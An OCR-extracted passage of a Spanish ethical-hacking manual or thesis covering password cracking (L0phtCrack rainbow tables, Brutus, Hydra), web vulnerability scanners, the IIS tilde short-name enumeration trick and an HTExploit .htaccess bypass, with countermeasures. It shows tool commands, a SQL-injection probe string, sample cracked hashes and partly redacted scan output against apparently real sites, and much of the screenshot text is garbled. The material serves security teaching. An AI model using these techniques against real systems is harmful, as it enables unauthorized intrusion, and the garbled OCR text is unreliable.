Una vez obtenidos los hashes de la maquina objetivo en este caso con la herramienta vista
previamente pwdump se hace clic sobre la opcién “Import Hashes” posteriormente se carga el

archivo de texto con los hashes obtenidos en este caso se elige la opcién “From PWDUMP file”
como se observa en la figura 6.13.

W o il *‘»‘
Domain User Name LM Password < Password M Hash NTLM Hash

i Administredor X OF454CCB24FDBL1FAAD3 BI5B51404EE §12398CBT4A1FOBADFF3AZT CDAFGEC

1 Femanda X 9970BEDEDC2EBBOFAADIBAISBSLIAEE  ALT29ABFF3SO0DLZ8TTTOFCT3MAGATC

‘ Ivitado

‘ Warco (8TE915000842152F AFGG4SESFTEDBSE A4BBAFOCEO9LECEL71443A662ETEEEDE

‘ prud X AEBDADERBACTECA3AADIBAISBILIMEE  TA2IB00FCD3DT50041E4CA0F143DSF

Figura 6.14 Usuarios cargados del archivo de texto — LOphtCrack.
Una vez cargado el archivo de texto en la pantalla principal del software aparecen los usuarios

encontrados como se aprecia en la figura 6.14. Se detectaron 5 usuarios 3 de ellos con una

clave inferior a 8 caracteres y junto ello los hash en LM y NTLM respectivamente.
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Figura 6.15 Seleccion del tipo de ataque — LOphtCrack

En la figura 6.15 se muestra la ventana con las opciones de ataques de disponible en esta
herramienta en este caso se elige la tercera opcion llamada “Precomputed” y se cargan los

Rainbow Tables previamente descargados.

Begin Fause  Stop Session || Schedule Scheduled
Options || Audit  Tasks

Cracked Accounts
Weak Fasswords
Expired Accounts

BN

Cisabie Force
Accounts

Ty @

Run Import Import
Wizard Hashes From Sniffer

Password

it

Domain | User Name IMPasswod | <6 | Passwod | LM Hash NTLM Hash Audt Time Method

& Administrador Al X sandoM OF454CCo24FDBILFAAD3BA3SESI404EE 872398 CBT4ALFOSADFF3AZTCDAFGE4AC 0d0h(m17s  Precomputed Hash
‘ Fernandz FERLI X feli 997DBEDEDC2E3EOFAAD3B435B51404EE  ALT20ABFF3S00DI2B7TT9FCT394A6A7C  0d0hOmlds  Precomputed Hash
& Invitado

b & Marco PASSIS passe .« 087B915900842152FAFSGASESFIODBSE  ABBAFOCESSLEOE1T1443AR62E7EEEDE  0dOh(Omlbs  Precomputed Hash
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| i1 | ’

FER1990 hex:46455231393930
PASSMAR hex:504153534d4152
0 hex:434f

: SAN1234 hex:53414e31323334 =
05/24/2013 01:44:42 Auditing session completed. K

Figura 6.16 Resultado del ataque — LOphtCrack.
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En la figura 6.16 se muestra el resultado del atague con Rainbow Tables, el software presenta
los usuarios, los passwords, el tiempo que se tardé en obtenerlo y por dltimo el método de
ataque utilizado. Cabe recalcar que los tiempos de obtencion de resultados son
significativamente inferiores a los ataques vistos anteriormente por lo que es una técnica muy

rapida y fiable.

6.5. Ataques a contrasefas en aplicaciones web.

Las paginas web son una base fundamental del avance y crecimiento empresarial por
tal motivo son propensas a recibir ataque informaticos. Las paginas web tienen sistemas de
autenticacion que comprueban la identidad del usuario para ver si es quien dice ser, este
proceso necesita pruebas de autenticidad también conocidas como credenciales.

Dichas credenciales o sistemas de autenticacion pueden ser atacados para intentar obtener
usuarios y contrasefias que permitan obtener acceso a la informacién que maneja la empresa.

Existe en la actualidad diferentes métodos que brindan esta posibilidad entre los que se
encuentran: Ataques de diccionario, ataques de fuerza bruta y ataques hibridos presentados

anteriormente que también pueden ser aplicados hacia paginas web.

> Brutus.

Esta herramienta es uno de los mas flexibles y rapidos crackeadores de contrasefias web

disponible en entornos Windows, maneja diferentes formas de autentificacion:

e HTTP.

e POPS3.

e FTP.

e SMB.

e TELNET.

Esta aplicacion puede realizar ataques de diccionario y sobre todo por fuerza bruta brindando
resultados muy buenos, a pesar que la herramienta ya tiene algunos afos de haber sido
publicada hasta hoy en ida es muy utilizada porque permite una gran versatilidad al momento

de realizar las pruebas sobre el o los objetivos (http://www.hoobie.net ,Parr 1).
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Figura 6.17 Aspecto visual de la herramienta — Brutus.

En la figura 6.16 se observa el aspecto visual de la herramienta Brutus, en la parte superior se
ingresa la IP o el dominio del objetivo seguido del protocolo al cual se requiere realizar el
ataque. Si es el caso también se puede utilizar la opcién proxy para que los requerimientos de
autenticacion sean andénimos. En las opciones de autenticacibn se puede seleccionar un
usuario en particular o cargar un diccionario para el password existe la posibilidad de utilizar un
ataque de diccionario o por fuerza bruta. Una vez ejecutado la herramienta en la parte inferior

aparecen los resultados obtenidos.
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Figura 6.18 Aplicacion de la herramienta Brutus — Windows.

En la figura 6.18 se muestra el resultado obtenido de un ataque a una pagina web utilizando
como autenticacién el protocolo FTP. Previamente se realizd6 un escaneo de puertos para
verificar que puertos se encontraran abiertos, la herramienta hall6 un usuario y password

legitimo con el cual se puede acceder a dicho dominio y realizar cualquier cambio que se
requiera.

e Hydra.

Esta herramienta se la analizé anteriormente sobre un host en una red LAN. Se la enfocara
sobre un objetivo web, considerando que previamente se debe conocer que puertos del
objetivo se encuentran abiertos para proceder a realizar el ataque. En ejemplo a continuacion
presenta un ataque sobre el puerto FTP de una pagina web objetivo.
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[ERROR]
9 of

[ERROR] 1 target sable se of too many errors
dydra (http .the.o hydra) finished at 2013- 22:23

3:44
rramienta Hydra — Backtrack.

Figura 6.19 Aplicacion de la he

En la figura 6.19 se muestra los comandos utilizados para realizar un ataque sobre el sitio web,

una vez ejecutado los resultados depende de la fortaleza de las claves, en este ejemplo se

puede apreciar que Hydra encontré un usuario y contrasefa legitimo del objetivo.

6.6 Contramedidas.

Manejar una doble autenticacion afiadiendo a la utilizacion de la contrasefia un factor de
seguridad adicional como lo es: Smart Cards o autenticacion biométrica.
Tener una politica de seguridad para el cambio de contrasefias cada 30 dias.

Utilizar contrasefias como minimo de 12 -caracteres combinando mayusculas,
minUsculas caracteres especiales y numeros, esto hara mas dificil el trabajo para los
diferentes tipos de ataques.

No utilizar palabras que se encuentren en el diccionario como password ya que con un
simple ataque de diccionario se pudiera obtener las claves.

No manejar informacion personal como nimero telefénico, cedula, pasaporte en las
contrasefas.

Monitorear los logs de eventos de las maquinas para prevenir atagues de fuerza bruta
sobre las cuentas de usuarios.

Manejar la utilidad SYSKEY que viene integrado en los sistemas Windows para
encriptar los hashes que contienen las contrasefias, utiliza una clave de cifrado RC4 de
128 bits.

Utilizar el software KeePass para administrar de mejor manera las contrasefias.
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CONCLUSIONES.

En este capitulo se pudo conocer en detalle las técnicas con las que se logran obtener
contrasefias de usuarios utilizados en servicios de autenticacion, en combinacion con métodos
vistos en capitulos anteriores como el escaneo de puertos que ayuda en gran medida a que un
password cracking brinde resultados positivos. Es importante tener en cuenta que las
contrasefias forman parte fundamental y critica de la seguridad una empresa ya que si no
existen contrasefias robustas los ataques realizados hacia las aplicaciones pueden tener
resultados graves que pudieran poner en peligro la informacién confidencial que maneja la
organizacion.

Es por esto que los administradores de los sistemas deben concientizar a los usuarios a
manejar responsablemente sus contrasefias para de esta manera evitar estos tipos de ataques
que pueden causar mucho dafio a la informacion que la maneja el usuario afectado y por

consiguiente la empresa.
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CAPITULO VII.

HACKING EN SITIOS WEB.

INTRODUCCION.

En la actualidad el Internet se ha constituido como pieza fundamental en el crecimiento de
las empresas ya sea para agilitar los procesos internos o bien para brindar servicios eficientes y
rapidos a sus clientes siendo este medio el principal objetivo de ataques externos para la
obtencién de informacién. Es por ello que cada dia es mas frecuente que se intente vulnerar los
sitios web de una organizacion para obtener informacién valiosa o para alterar el contenido
interno del sitio.
En el presente capitulo se mostraran diferentes brechas de seguridad con las que puede ser
manipulado un sitio web desde el punto de vista de un atacante informatico. Las
vulnerabilidades en los servidores web son muy frecuentes y ponen en peligro la informacion
almacenada en sus bases de datos, esto puede producirse por un deficiente control de
seguridad de los administradores del sitio y por vulnerabilidades encontradas en las
aplicaciones que el administrador utiliza en su pagina. También se brindaran contramedidas

gue ayuden a reducir en gran medida el riesgo de ser atacados por piratas informaticos.
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7.1. Funcionamiento de un servidor web.

Un servidor web funciona bajo la arquitectura cliente/servidor, se encuentra a la espera de
peticiones recibidas mediante un browser del cliente, una vez que el cliente realiza alguna
peticién el servidor web administra los recursos y servicios para procesar las aplicaciones al
lado del servidor brindado conexiones bidireccionales con el cliente, para la realizaciéon de esta
comunicacion por lo general se utiliza el protocolo HTTP perteneciente a la capa de aplicaciéon
del modelo OSI.
El browser ubicando del lado del cliente divide la URL en tres partes: El protocolo (“http”), el
nombre del servidor (“www.paginaweb.com”) y el archivo especifico de direccionamiento dentro
del servidor (“pagina.html”). El navegador realiza peticiones con un DNS que permite la
transformacién del nombre del sitio web a una direccion IP. Posteriormente el navegador
ejecuta una conexién TCP con la direccién obtenida utilizando el protocolo HTTTP (“puerto 80”)
el navegador envia una peticion al servidor, este Ultimo envia el texto HTML de la pagina web
hacia el navegador y brinda el formato a la pagina web en el navegador del cliente.
Entre los servidores web mas utilizados se encuentran:
e Apache: Servidor Multiplataforma, maneja diferentes mddulos que amplia su
funcionalidad.
e Internet Information Server. Servidor web para sistemas Windows generalmente
utilizado con Asp y .NET.
e Tomcat: Servidor Multiplataforma.

e Nginx: Servidor Multiplataforma.

Una vez descrito el comportamiento de un servidor web, se puede definir la estructura global de
un sitio web. Esta consta de 4 herramientas:

e Sistema Operativo (Windows, Linux, MAC).

¢ Gestor de Base de datos (MySQL, PLSql, SQL Server, etc).

e Servidor Web (Apache, IS, Tomcat, Nginx, etc).

e Lenguaje de programacion - Aplicacion web (PHP, Python, Perl, Java, etc).

7.2 Actualidad de las paginas web.

Las paginas web se han convertido en un pilar fundamental para la productividad y desarrollo
de las empresas, pasaron de ser paginas con informacién estatica a sitios web dindmicos que

manejan gran cantidad de informacién confidencial que pueden ser accedidas desde cualquier
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parte del mundo. Es por ello que las empresas intentan innovar e implementar sistemas que
brinden las mayores facilidades y servicios a sus usuarios para proporcionarles cualquier
trAmite o transaccion sin necesidad de acudir a las organizaciones para realizar dichas
operaciones.

Las empresas siempre necesitan actualizar sus servicios en linea y brindar el soporte
adecuado a sus usuarios, esto es de gran ayuda para que la organizacion se fortalezca en la
parte tecnol6gica, pero a su vez trae grandes riesgos de seguridad ya que personas no
autorizadas pueden intentar robar informacion de sus sitios web. Cada dia cientos de péaginas
son hackeadas y su informacién queda expuesta a la voluntad de los piratas informaticos que
pueden darle un uso inadecuado a todos los datos encontrados. Es aqui donde el Hacking ético
toma un rol muy delicado y de constante control tratando de encontrar las vulnerabilidades y las

brechas de seguridad antes de que un atacante lo haga.

7.3 Comprometer un servidor web.
En términos generales un servidor web puede ser comprometido de varias maneras, no existe
una regla o un camino especifico que lleve a la explotacion de sus fallos, esto depende
principalmente de como fue implementado, administrado y auditado el sitio. Es por ello que la
mejor manera de encontrar vulnerabilidades sobre un sitio web es realizando una correcta
recoleccién de informacion (Information Gathering) sobre el objetivo. Del andlisis de los
resultados obtenidos se pueden realizar ataques focalizados hacia las aplicaciones
involucradas en la estructura del sitio para posteriormente intentar tener acceso a la
informacion de sistema.
La mayoria de los casos relacionados a vulnerabilidades en servidores web se aprovechan de
diferentes fallas:

e Errores o defectos de las aplicaciones utilizadas en el sitio, mejor conocidos como bugs

de seguridad.

e Configuraciones defectuosas del servidor web.

e Ataques sobre las configuraciones por defecto en las aplicaciones.

e Errores de programacion en la pagina web.

¢ Obtencién de claves mediante un ataque Man in the middle.

e Inyeccion de comandos SQL.

e Ataques de diccionario y fuerza bruta sobre cuentas administrativas.

e Atagues mediante la técnica Cross Site Scripting.
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e Carencia de politicas, normativas y procedimientos adecuados que faciliten la

elaboracion e implementacién de un servidor web robusto.

7.4 Escaneo de Vulnerabilidades.

El escaneo de vulnerabilidades es de vital importancia en el proceso de un hacking ético ya que
permite detectar en detalle las vulnerabilidades que pueden ser explotadas dentro de la pagina
web que esta siendo analizada. La mayoria de sitios web tienen vulnerabilidades ya sea por
fallo de programacion o errores en las aplicaciones utilizadas. En la actualidad existen varias
herramientas que permiten automatizar este andlisis permitiendo obtener resultados que
brinden una vision detallada al hacker ético de los errores que pueden ser aprovechados.

A continuacion se presenta algunas herramientas:

7.4.1 Nikto.

Es una herramienta de cddigo abierto desarrollada en Perl que permite realizar escaneos sobre
servidores web en busca de: Debilidades de XSS (Cross Site Scripting), malas configuraciones,
deteccién de instalaciones por defecto, problemas especificos de servidores no actualizados,
obtencion de la estructura del servidor, entre otros. En una herramienta muy eficiente y
presenta resultados en poco tiempo pero esto conlleva a que el servidor que estd siendo
puesto a prueba pueda registrar los intentos de la obtencion de informacion. (http://www.cirt.net ,
Parr 1).
Entre sus principales opciones se encuentran:

e -host: Equipo obijetivo.

e -port: Puerto que se desea analizar.

e -useproxy: Utiliza el proxy previamente especificado en el archivo config.txt dentro de la

carpeta Nikto.

e -cookie: Muestra las cookies encontradas.
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Figura 7.1 Resultado obtenido con Nikto - Backtrack.

En la figura 7.1 se observa el resultado obtenido con la herramienta Nikto, la opcién “-host” es
utilizada para especificar la pagina web que sera auditada. Entre los datos mas relevantes
estan: La version del servidor web, el sistema operativo, la version PHP que esta manejando el
sitio. Adicional a esto se tiene URLs especificas que indican vulnerabilidades concretas sobre
el sitio, todas estas se encuentran precedidas de las siglas OSVDB (Open Sourced
Vulnerability Data Base) seguido de un numero referencial, La unidon de estos dos parametros
brinda la posibilidad de encontrar informacion detallada de la vulnerabilidad accediendo a la

pagina: www.osvdb.org.

7.4.2 UniScan.

Es una de las mejores herramientas para explorar vulnerabilidades de sitios web, presenta una
gran potencia al momento de brindar resultados detallados ya que tiene opciones que permiten
realizar busquedas especificas segun los requerimientos del atacante.
Entre sus principales opciones estan:

e -U: Indica la URL que se desea analizar.

e -(: Habilita las comprobaciones de Directorios.

¢ -w Habilita las comprobaciones de archivos.

¢ -e: Habilita el chequeo de los “Robots.txt” del servidor.

e -d: Habilita el chequeo dinamico.

¢ -s: Habilita las comprobaciones estaticas.
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s/pentest/web/uniscan# perlL un .DL u nttp:// / qwedas
= HRARBHRBE BB RBRBRRRIEHE

n/Functions.pm line 402.

Directory check:
[+] CODE: 200e URL:

e URL: |
CODE: 2 e URL:
CODE: 200e URL: |

] CODE: 2 e URL:

Figura 7.2.1 Resultado obtenido con UniScan — Backtrack.

Se puede ver en la figura 7.2.1 la primera parte del resultado obtenido con la herramienta
UniScan, en este caso se utilizé el comando “—u” para indicar la URL y “-qweds” que es la
concatenacion de las opciones descritas anteriormente para fortalecer el andlisis. En primera
instancia brinda como datos: el dominio, el servidor que en este caso es un “Internet
Information Server” version 6, posteriormente muestran links de archivos encontrados en el

sitio.

¢ ¢

$ ¢

1
1
1
1
]
I
3
1
1
+1
1
]
]
i
1
]
)
1

TAMTNANNINANAANNNNNNTN

4

o 1 1 o o o 1 (T o e o o o o o o ]

¢
b ol o b e

bhdt

168



En la figura 7.2.2 se visualiza links externos asociados al sitio y también se muestran
direcciones de correo electrénico del personal que trabaja en la empresa que pueden ser

utilizados para realizar ataques de ingeniera social como para generar Spam.

[SQL-1 http:/ sites/authenticate.asp#’'&txtName=123&password=123&submitl=123

[soL
3] [SQL-1] ¥
1 [s0oL
1 [SQL-1] http://
[SQL-1
Vul[7] [SQL-i]
VuL[8] [SQL-1i] |
91 [SQL-1i1 http:/
Vul[1O] [SQL-i] http:/

Vul([11l] [SQL-i] http://

vul[12] [sQL-i] http sites/authenticate . asp#&tXtName=1238&passwort

Figura 7.2.3 Resultado obtenido con UniScan — Backtrack.

Se observa en la figura 7.2.3 doce vulnerabilidades detectadas dentro del sitio web
relacionadas a SQL Injection, se muestran los enlaces propensos a este ataque pudiendo

realizar las pruebas con cada uno de ellos para obtener informacién sensible de la pagina.
7.4.3 JoomScan.

Joomla es un gestor de contenidos utilizado para el desarrollo de sitios web dinAmicos que
permite su elaboracién de una manera sencilla siendo uno de los mas difundidos en la
actualidad, es por ello que son cada vez mas frecuentes los ataques hacia este gestor.
La herramienta JoomScan es un escaner de vulnerabilidades que direcciona sus ataques hacia
el gestor Joomla tratando de encontrar la mayor cantidad de fallos que permitan obtener
informacién que pueda poner en peligro el sitio. (http://www.owasp.org , Parr 1).
Entre las opciones utilizadas con frecuencia estan:

e -u: Especifica la URL que sera analizada

e -ot: Permite incluir una ruta para que el resultado se guarde en un archivo.

¢ -X: Brinda la posibilidad de colocar un proxy (IP: puerto).

e -Vu: Especifica a manera mas detallada de cada vulnerabilidad.
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:/pentest/web/joomscan# perl joomscan.pl -u www. -0t /root/Desktop/scanjommla. txt

Figura 7.3.1 Comando utilizado con JoomScan — Backtrack.
Se muestra en la figura 7.3.1 el comando utilizado con la herramienta JoomScan que permite

obtener la informacioén en un archivo de texto.

Vulnerability

w of com users in the administrator panel

arch Memory Comsumption DoS Vulnerability

ers Blind SQL Injection Vulnerability

ction&id=0‘+and+"1'="1::/index.

Figura 7.3.2 Resultado parcial con JoomScan — Backtrack.

Se visualiza en la figura 7.3.2 una parte del resultado obtenido con JoomScan, donde cada uno
de los nimeros representa un intento que hizo la aplicacién para comprobar su vulnerabilidad
frente a un ataque especifico, mostrando ademas la version del Joomla que es vulnerable a

dicho ataque, el Path en done se realizé la prueba y el Exploit para vulnerar el fallo.
7.4.4 WpScan.

WordPress es un gestor de contenidos que orienta su funcionamiento hacia sitios web que se
actualizan cada cierto tiempo, esta desarrollado en PHP y MySQL, posee una gran variedad de
plugins que permiten realizar sitios web muy flexibles.

WpScan es un escaner de vulnerabilidad que realiza su analisis sobre sitios desarrollados con
WordPress permitiendo a los profesionales de seguridad evaluar el grado de seguridad de las
aplicaciones desarrolladas sobre el gestor descrito. Obtiene entre otras cosas: Los nombres de
usuarios, la version utilizada, los plugins instalados y vulnerabilidades conocidas dependiendo
de la version. (http://www.wpscan.org , Parr 4)

Sus principales opciones son:
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e -URL: Permite ingresa la pagina web.
e -enumerate: Permite realizar la enumeracion
o u: Usuarios.
o vp: Plugins vulnerables.
o vt: Temas vulnerables.
e -Proxy: Permite el ingreso de un proxy.
e -Wordlist: Lista de palabras para realizar ataque de fuerza bruta sobre los usuarios
encontrados.

e -verbose: Permite observar detalladamente todo el proceso en tiempo de ejecucion.

: /pentest/web/wpscan# ruby wpscan.rb --url http:/ --enumerate u

The WordP s theme in use is called "pcn”.

The WordP "http:/ readme.html” fil
losure (FPD) in “http:/

WordPress version 3.8.5 identified from meta generator.

Enumerating usernames...

e found the following 4 usern:

[+] Finished at

Figura 7.4 Comando utilizado en WpScan — Backtrack.

En la figura 7.4 se aprecia el resultado obtenido con la herramienta, muestra el tema que esta
siendo usado, visualizacién de rutas completas, la versién que se estd manejando. En la parte

inferior se muestran los usuarios encontrados del sitio.
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Figura 7.4.1 Comando utilizado en WpScan — Backtrack.

Una vez obtenido los usuarios se puede iniciar un atague de fuerza bruta sobre el objetivo para

intentar obtener su contrasefia, tal como se observa en la figura 7.4.1.

7.5 Hacking en Aplicaciones web.

Como se pudo ver en las lineas expuestas anteriormente existen diferentes formas en las que
se puede comprometer la seguridad de un sitio web, dependiendo en gran medida de las
circunstancias y motivos por el cual el atacante quiere ingresar sin permisos al sitio. Se pueden
realizar; desde la creacion de una pagina de inicio diferente a la normal indicando que la pagina
web es insegura, (esto es conocido como defacement), hasta modificaciones mas peligrosas
como la eliminacion de los datos de los usuarios y la utilizacion de dichos datos por terceras
personas para intereses particulares.

Los piratas informaticos pueden valerse de descuidos basicos de los administradores de los
sistemas como lo es dejar alojado en el host carpetas con nombres por defecto como
(www.paginaweb.com/backup) que pueden ser facilmente detectados desde un buscador, los
directorios mal configurados pueden ser otro acceso relativamente facil hacia el objetivo
logrando mapear los links del sitio 0 a su vez descargar el sitio completo para analizarlos de
manera offline y poder encontrar datos sensibles.

También se puede obtener informacién verificando si el administrador configuré en el servidor
el archivo robots.txt, este archivo contiene los directorios que no desean que los buscadores
indexen en sus motores de busqueda pero que a su vez puede ser encontrado por un intruso
de forma facil y con ello obtener informacién detallada de los paths ocultos.

Si el intruso desea realizar ataques que expongan en un nivel mas alto a la aplicacion web este
puede intentar ataques de denegacion de servicios, esto hard que la pagina web quede

inhabilitada y con ellos que no se pueda ser accedida, también puede intentar una de las
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técnicas méas peligrosas que es manipular la base de datos, como se conoce las bases de
datos en la mayoria de los casos contiene informacion confidencial que una empresa maneja,
si un atacante tiene acceso a ella puede ocasionar dafios irreparables como la modificacién o la

eliminacion de los datos.

7.5.1 Obtencién de Exploits.

Los exploits son de mucha ayuda al momento de realizar el testeo de seguridad sobre las
aplicaciones web, con un buen andlisis del objetivo se logran obtener que sistema operativo
esta corriendo en el servidor, que aplicaciones tiene en el sitio con sus respectivas versiones,
entre otras. Cuando se tiene esta informacién un punto importante es buscar exploits que
puedan ser aplicados en las aplicaciones obtenidas. A continuacién se presentan dos paginas
web que ayudan en gran medida a encontrar exploits que pueden ser enfocados a los datos

logrados en los andlisis preliminares.

% exploit-db.com

EXPLOIT.
DRARTABASE

SHELLCODE

The Exploit Database

The Exploit Database (EDB) - an ultimate archive of exploits and
vulnerable software. A great resource for penetration testers,
vulnerability researchers, and security addicts alike. Our aim is to
collect exploits from submittals and maliling lists and concentrate
them in one, easy to navigate database.

Remote Exploits .
Figura 7.5 Pagina web www.exploit-db.com

En la figura 7.5 se muestra la pagina www.exploit-db.com, esta contiene diferentes tipos de
Exploits que pueden ser enfocados a las aplicaciones y sistemas instalados en las paginas
web, es una de las webs mas consolidadas en la actualidad en lo referente a testeos de

seguridad.
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% - 1337day.com

Figura 7.6 Pagina web www.1337day.com

En la figura 7.6 se visualiza la web www.1337day.com, esta pagina abarca gran cantidad de
vulnerabilidades actualizadas diariamente, segin sea el caso del ataque que se desea
implementar hay una opcion de busqueda que permite filtrar las vulnerabilidades por tipo.
También existen vulnerabilidades “0 Day” pero el acceso a ellas tiene un costo de acuerdo al
riego de la vulnerabilidad encontrada.

Las paginas citadas estan entre las mas robusta hoy en dia y son de mucha ayuda a la hora de
implementar ataques en objetivos especificos. Todo Exploit y vulnerabilidad citadas en estas
paginas son bien documentadas y se pueden descargar con facilidad, la mayoria de Exploit

estan programados en: Perl, Python, Ruby y Java.

7.6 Obtencidon de Ficheros en IIS (Internet Information Server)

Para conseguir ficheros en un IIS esta técnica se basa en una vulnerabilidad que permite la
utilizacién del caracter’~” con el propésito de realizar consultas hacia la web y diferenciar que
resultado muestra cuando existe o no el valor ingresado. Esto se lo puede realizar en las
versiones de IS y .Net que no tiene filtrado el caracter “*”. El siguiente cuadro muestra las
versiones que pueden ser afectadas con esta técnica y la sintaxis que se debe utilizar para

realizar el analisis.
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IIS Version Result/Error Message

Hvalid*~1*f.aspx HTTP 404 -File not found
finvalid*~1*/.aspx HTTP 400 -Bad Request
Svalid*~1* HTTP 404 -File not found
Jinvalid*~1* HTTP 400 -Bad Request
115 7.x Net.2 Pealid*~1*f Page cortains:
No Error Handling “Errar Code 0Ox00000000”
115 7.% Net.2 Jnvalid*~ 1%/ Page contains:

No Error Handling “Error Code 0x80070002"

Figura 7.7 Cuadro comparativo de Resultados (http://soroush.secproject.com , Parr 2)

A continuacién se presenta un ejemplo de cdmo se logran obtener resultados con esta técnica.

€ > % @

[}

o1}
n

Bad Request

Figura 7.8 Testeo hacia un IS version 6.
En la figura 7.8 se puede apreciar el resultado obtenido, previo andlisis con Nmap se verificd
gue esta pagina web tiene alojado un IS version 6 por lo que se realizé la prueba con la
sintaxis correspondiente, teniendo como resultado un “Bad Request” esto quiere decir que no

existe ningun fichero que empiece con la letra “z”.
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< a, p/c™~1%/.aspx

The page cannot be found

The page you are locking for might have been removed, had its name changed, or
is temporarily unavailable.

Please try the following:

e Make sure that the Web site address displayed in the address bar of your
browser is spelled and formatted correctly.

= If you reached this page by clicking a link, contact the Web site
administrator to alert them that the link is incorrectly formatted.

e Click the Back button to try ancther link.

HTTP Error 404 - File or directory not found.
Internet Information Services (1IS)

Technical Information (for support perscnnel)

e Go to Microsoft Product Support Services and perform a title search for the
words HTTP and 404.

e Open IIS Help, which is accessible in IIS Manager (inetmar), and search
for topics titled Web Site Setup, Common Administrative Tasks, and
About Custom Error Messages.

Figura 7.9 Testeo positivo sobre IIS 6.
En la figura 7.9 se muestra el resultado generado de la consulta, en este caso se deduce que
existen uno o varios ficheros que empiezan con la letra “c” dado que el mensaje producido es
diferente a la consulta obtenida anteriormente. Con ello se sigue testeando tomando esta letra
como referencia de inicio. Solo se podran obtener maximo 8 caracteres y 3 de la extension que
tiene el archivo ya que Microsoft Windows tiene limitado este nimero como maximo, por tal
motivo se descubra 6 caracteres ya que los dos ultimos pueden ser : (~1 0 ~2) y a continuacion

de esto de 1 a 3 letras que estaran relacionadas a la extension.

7.6.1 Automatizacion de la Técnica.

Mediante la herramienta “lIS Shorthame Scanner Poc” desarrollada en JAVA se consigue
automatizar el descubrimiento de los archivos ocultos dentro de un IIS. Su funcionamiento es
muy similar al realizado manualmente, pues primero identifica la versibn que se estan
ejecutando en el objetivo para luego empezar a realizar las pruebas respectivas que daran

como resultado un “True” o “False” segun sea el caso hasta obtener los 6 caracteres posibles.
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C:\scan>java scanner 2 B http:~//

Target = http://

How much delay do you want atter each request in milliseconds [default=81780
Max delay after each request in milliseconds = 8

Do you want to use proxy [Y=Yes, Anything Else=No 17N

No proxy has bheen used.

Scanning...

Dir: APP_BR™

Dir: APP_CO™1
File: APP_OF™1.]
File: APP_OF™1.IN
File: APP_OF™1.INA
Dir: ASPNET™1
File: BRAEMA™1.H
File: BRAEMA™1.HT
File: BRAEMA™1.HTM
File: CONFIR™.A
File: CONFIR™1.AS
File: CONFIR™1.ASP
File: CONFIR™1.C
File: CONFIR™.CS
File: CONFIR™1.R

Figura 7.10 Automatizacién con la herramienta IIS Shortname Scanner PoC — Windows.

Primero se debe iniciar con el comando “java sccaner 2 0” que indica el nombre del archivo a
ser ejecutado luego de ello se ingresa la direccién del sitio web que estd siendo analizado,
posteriormente a esto el programa ira obteniendo los ficheros que estan en el servidor. Una vez
gue finalice se tendra que probar cada uno de ellos y afiadiendo letras que se deduzca que

hacen falta para completar el nombre del archivo.
7.6.2 Contramedidas.

e Actualizar el IIS y .Net Framework a la Gltima version disponible.
e Activar el control de errores del archivo web.config.

“w_”
~

e Si no es necesario la utilizacion del caracter es recomendable descartar las

peticiones web que incluyan este caracter.

177



7.7 Evasion de restricciones en Apache.

Esta técnica esta dirja a realizar un Bypass de la seguridad de un servidor apache
enfocdndose en el fichero .htaccess conocido también como archivo de configuracion
distribuida, utilizado con frecuencia en este servidor. Este archivo permite definir reglas de
configuracion especificas sobre los directorios sin la necesidad de realizar estos cambios en el
fichero principal de apache. El enfoque que da a este archivo es variado, estos pueden ser:

e Listar Directorios.

e Creacion de URL amigables.

e Personalizacién de mensajes de error.

e Restringir accesos.

e Autorizacion y autenticacion.

Para realizar este ataque se utilizara una herramienta que permite tomar ventaja de estos fallos

y con ello conseguir informacion, a continuacion se detalla el ataque.
7.7.1 HTExploit (HiperText Access Exploit).

Es una herramienta de cddigo abierto elaborada en Python que toma ventaja de la manera en
gue el fichero .Htaccess es configurado para proteger los directorios ocultos permitiendo
realizar un Bypass sobre la proteccion realizada del fichero mencionado y con ello obtener
archivos protegidos que seran descargados y mostrados en un archivo HTML. En detalle se
puede decir que este Exploit envia peticiones que el servidor apache no entiende y este a su
vez lo transmite a PHP para que lo interprete, como PHP tampoco conoce la peticion lo toma
como un argumento Get pudiendo con ello obtener un Get sobre el servidor remoto salteando
las restricciones definidas en el archivo .Htaccess. Cabe indicar que esta herramienta brinda
los resultados esperados cuando se utiliza en conjunto Apache con PHP.
Las principales opciones de esta herramienta son:
e -u: Utilizado para ingresar la direccién de la pagina web que se desea analizar.
e -0: Define la ubicacién y el nombre de la carpeta de salida de los archivos detectados.
¢ -m: Permite definir el modulo que serd utilizado, estos pueden ser: detect (utilizado para
detectar si la pagina es vulnerable) y Full (opcién por defecto que escanea toda la
carpeta en busca de archivos que se encuentre en el diccionario).

¢ -w: Define el diccionario que se va a utilizar.
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e -v: Activa el modo verbose, esto es utilizado para mostrar todo lo que esté realizando la

herramienta en tiempo de ejecucion.

:/pentest/web/htexploit# ./htexploit -w res/FullList -u http://www

/index.php
seems exploitable. Enj

Would you like to run the 'full' scan module? [Y/n] l

Figura 7.11.1 Anélisis de un sitio web con HTExploit — Backtrack.
En la figura 7.11.1 se muestra el comando utilizado para explorar la vulnerabilidad en un sitio
web, en este caso se usa el Path “res/FullList” para identificar que Wordlist se utilizara para la
exploracién de los archivos, cabe destacar que este archivo no contiene nombre de usuarios ni
mucho menos contrasefas, lo que tiene sobre rutas de formularios que pueden estar en el

servidor.

ron. php

.php' couldn't
1

zipndownload.php' couldn't be

were d oaded, out of 750 (1% success rate) t was saved in '/pentest/web/htexploit/htexploit-54346

Figura 7.11.2 Andlisis de un sitio web con HTExploit — Backtrack.

En la figura 7.11.2 se muestra el resultado sobre la web analizada, la herramienta descarg6 13

archivos para poder analizarlos en la ruta especificada en la parte inferior de la figura.
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Sr X o filey//pentestyweb/htexploitvhtexploit-54346/HTExploit-report.html

HTExploit - Scan Report

Scan date: 2013~

Scanned URL: http://www. s ~
1D Name
1 http:/ /www. e ‘admin.php
2 http: /S www /db.php
3 http://www. funciones.php
4 http:/ /wwww. /header.php
5 hitp:/ /www wlindex. php
6 http:// www v/index2.php
8 http://www. e v /menu.php
9 http://www. - v /noticias_php

Figura 7.12 Anédlisis de un sitio web con HTExploit — Backtrack.
Se puede observar todos los links descargados por la herramienta en la figura 7.12 cada uno
de ellos contiene el enlace hacia la pagina descargada logrando obtener informacién

confidencial.

S! | @ file://ipentesteb/ntexploitihtex ploit-54346/data/admin. php.htmi v €| @v

Opciones de administracion del Portal

» Liberacion de Estadistca Basica

» Buscador
+ Lomoe de Polllss * Notcas * Asionacion de permisos por perfil
* Catdloco de dores » Sitios de Interés e
o ¢ Publicacion de Documenios
¢ Bars o Lol + e ¢ Autorizacién de Publicaciones
* Menu Dinamico » Conssioc Municipal

» Direciorio Municipal
» Productos Municipales - Catalogo Categorias

